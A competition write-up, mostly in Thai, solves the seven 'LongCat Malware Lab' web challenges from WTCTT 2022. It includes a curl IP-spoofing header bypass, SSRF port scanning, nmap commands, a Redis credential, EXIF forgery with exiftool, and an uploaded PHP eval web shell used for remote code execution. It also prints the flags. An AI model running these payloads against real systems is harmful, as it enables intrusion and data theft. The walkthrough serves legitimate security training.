Web Security
- Do you still remember the manager of the Cyberspace Hotel? In 2003, when Chang Ming was just sixteen years old, he was recruited by the feline government to serve as a cyber spy, tasked with infiltrating the LongCat Malware Lab. He said that web hacking is easy. First, it just breaks in and then breaks out. So, it’s now your time to show web hacking kung-fu here.
https://malware-lab.ctf.p7z.pw
Solution
.. didn’t originate from cloudflare
แสดงว่า เราต้องรู้ว่าipv4 cloudflare
คืออะไร และ ip เราเป็นอะไร ปลอมแปลงได้อย่างไร
-
การปลอมแปลง IP มีได้หลายแบบ
-
X-Forwarded-For
แต่ลองแล้วไม่ได้ เลยไปดูที่ cloudflare manage
https://developers.cloudflare.com/rules/transform/managed-transforms/reference/
- เปลี่ยนเป็น
true-client-ip
FLAG_WTCTT_01{89df5ba2163861e8c565aff3313ba6ea}
- หรือใช้ curl
curl --header "True-Client-Ip: 103.21.244.0" -I https://malware-lab.ctf.p7z.pw
- “During the secure development life cycle (SDLC) of LongCat Malware Lab, a privileged function was secretly added for debugging purposes. The programmer told me that he had already removed it. Can you please just quickly check if that is true or not?
Prerequisite: Challenge #1
Solution
- หลังจาก spoof IP จะทำให้เข้าหน้า dashboard ได้
- View source
-
เวลาสังเกต css ให้สังเกตว่า ช่องที่ใช้งานจริง กับ css ที่เตรียมไว้มีอะไรต่างบ้าง เช่น มี textarea กับ input(debug) ที่น่าสงสัย
-
ลอง
?debug =1
มีหน้าเกิดขึ้น และพอกด scan เกิด textarea
-
แสดงว่า programmer ลืมเอาส่วนแสดงผลใน css ออก
-
ไปดูที่
burp .. HTTP history
จะเห็นตอนที่เราใส่ debug=1 จะมี flag2
FLAG_WTCTT_02{8e80e2804bd9edad68e3e8706ec2657e}
- “LongCat Malware Lab is much more complex than it looks. There are multiple adjacent sub-systems on the internal network side. It is not easy to find but also not hard to find. Find it.
Prerequisite: Challenge #2
-
ประเด็นคือ การจะเชคว่า web secure หรือไม่ น่าจะต้องมี server และมีการส่งค่าไปตรวจสอบ แสดงว่า เราต้องมี webserver เพื่อดูว่าเจ้า malware lab ยิงอะไรไปตรวจสอบ
-
Tool น่าสนใจ
- 10min mail … เมล์ใช้แล้วทิ้ง
- Requestbin … webserver
- “So you have just found that internal server? Now, find the service that is running on it !
Prerequisite: Challenge #3”
-
Internal IP …nmap ไม่ได้ ใช้การ “internal port scan” โดยใช้ Server Site Request Forgery
-
Scan top 1000 port … หา word list top 1000 tcp เตรียมไว้
- เข้าหน้าเว็บเดิม จากที่ได้ flag ก่อนหน้า send to intruder
- Intrude ตำแหน่ง port
-
Length ส่วนใหญ่ 44xx แต่มีตัวประหลาดมากกว่า แสดงว่ามีข้อมูลเพิ่มเติม
-
เจอที่ port 8200 ผลลัพธ์จากการ scan จะเห็น flag4
note : ตอนทดลองทำตาม Internal server ปิดแล้ว
- “We have the ""tools"" for an in-memory database. The in-memory database is super fast, and maybe secure because we are running it on a non-default port. Like what we did with that secret FTP service.
Prerequisite: Challenge #4, or OSINT
-
จากข้อ 4 สังเกต img src = ….https://malware-lab-tools.ctf.p7z.pw/image.jpg
-
อาจเป็น in-memory database ลอง
nmap -Pn -n -p- malware-lab-tools.ctf.p7z.pw –-open -v
- โดยทั่วไป ถ้า subnet เดียวกัน จะ arp scan แต่ถ้าคนละ subnet จะ ping ไป ดังนั้น ถ้ารู้ว่า server เปิดแน่ๆ ใช้ -Pn จะไม่ ping (ลดเวลา) จะทำการ scan port เลย
-n
แปลง ip <-> domain ดังนั้น มันจะเร็วขึ้น
--open
เฉพาะ port ที่เปิด
-v
verbose โชว์ข้อความ debug มาด้วย
-
เจอ Port = 9736 เปิด
-
Scan ช่องโหว่ของ port
nmap -p 9736 –open -vvv -sV malware-lab-tools.ctf.p7z.pw
-
เจอเป็น Redis DB
-
ต่อเข้าจะได้ user / pass
- ระหว่างแข่งมี hint ให้ username / pass
superadmin : 5LPdcagm4AiqF9Wt
- “Use the credential from the in-memory database in challenge 5 to log in to the Malware Lab Portal. Infiltrate into the underlying malware sandbox system.
https://malware-lab-portal.ctf.p7z.pw
Prerequisite: Challenge #5”
-
ต้องการ .jpg หรือ .zip
-
อยากรู้ code เลยลองหา code จาก Burp ดัก ตอนส่ง จะเห็นว่ามี api/upload.php
-
หรือไม่ก็ view source จะเห็นว่า ส่ง แบบ post ไปหา api/upload.php
-
แต่เปิดใน burp ไม่เจอ code เลยต้องพยายามค้นใน backup
-
ลอง directory fuzzing
- Hint เพิ่มระหว่างแข่งให้ file backup.zip ดู code upload.php
- ค้นหาแล้ว error Undefined ไม่มีใน code แนะนำให้ใช้ tool convert เพื่อให้ได้รูป jpg ที่แน่นอน
-
เมื่อเป็น รูปที่ถูก จะหลุด code มา show ใน กรณี file empty
-
อ่าน code แสดงการทำงาน คือ แตก zip -> หาไฟล์ txt
-
แต่การจะ unzip ได้ ต้อง เข้ารหัสด้วย pass ที่เจอ กรณีที่ lat-long ของภาพถูก
if($malware_logo_exif['GPSLatitudeRef'] === 'N' &&
$malware_logo_exif['GPSLongitudeRef'] === 'E'
Tool: exiftool
exiftool -GPSLatitude=13.7442821 -GPSLatitudeRef=N -GPSLongitude=100.5347507 -GPSLongitudeRef=E FILE
$extract_dir = '/opt/sandbox/' . md5_file($_FILES['malware_zip']['tmp_name']) .
ไล่ code จะเห็นว่าตรวจสอบบรรทัดแรกก่อนคือ คำว่า help แล้ว จะตัดคำอื่นๆ ต่อ เพราะฉะนั้น มีแนวโน้มว่าไฟล์ ควรจะมีข้อความ
Help a.php <?php /…. ?>
Note:
Simple php … <?php system(“id”);?>
- แต่จะมีปัญหาการโดนตัดคำด้วย split ช่องว่าง ทำให้เลือกใช้
<?=eval($_POST[0];?>
<?=eval[$_POST[0]];?> .... php shell หลีกเลี่ยงการตัดด้วย spacebar
- ดังนั้น ข้อความในไฟล์ที่จะแนบคือ
Help a.php <?=eval[$_POST[0]];?>
- Zip with pass ที่ได้ แล้ว upload ใหม่ ด้วยรูปที่ไม่มี location
-
From code > http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/
-
ของเรา
http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/488ea36db3ab2a24aa97039d3fa36c82/a.php
- เปิดจะไม่มีอะไร เพราะครั้งแรกของการ upload ถ้าไม่มีไฟล์ จะสร้างไฟล์เปล่า
- ดังนั้น… ต้อง up ใหม่ จะเป็นการเอา command ที่เขียนไปใส่ใน php
- ใช้ repeater ใน burb เพื่อส่ง argument
-
จะ show info และเพราะคำใบ้คือ env ดังนั้น จะได้ flag จาก response กรณีนี้
-
ลองคำสั่งอื่น readfile()
Note: user ที่ shell ได้ จะมี directory /home/
เก็บข้อมูลไว้ก่อน
- “Remote code execution and enum the malware sandbox system. Flag is hidden in plain sight !
Prerequisite: Challenge #6
- จากข้อที่แล้ว มี 2 คน น่าสนใจ คือ wangli และ changming
History ของ bash ย้อนหลัง
... /home/wangle/.bash_history
- เจอว่า wangli ใช้ sql
- Changming เจอ flag !!
FLAG_WTCTT_07{48842e3b0084532ff2b9a4f9a2e11b8f}
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋ ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀ ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀ ⢿⣿⣿⣿⡟ Ar3mus @ WTCTT 2022 Final Round
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄ ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀ ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀ ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀ ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀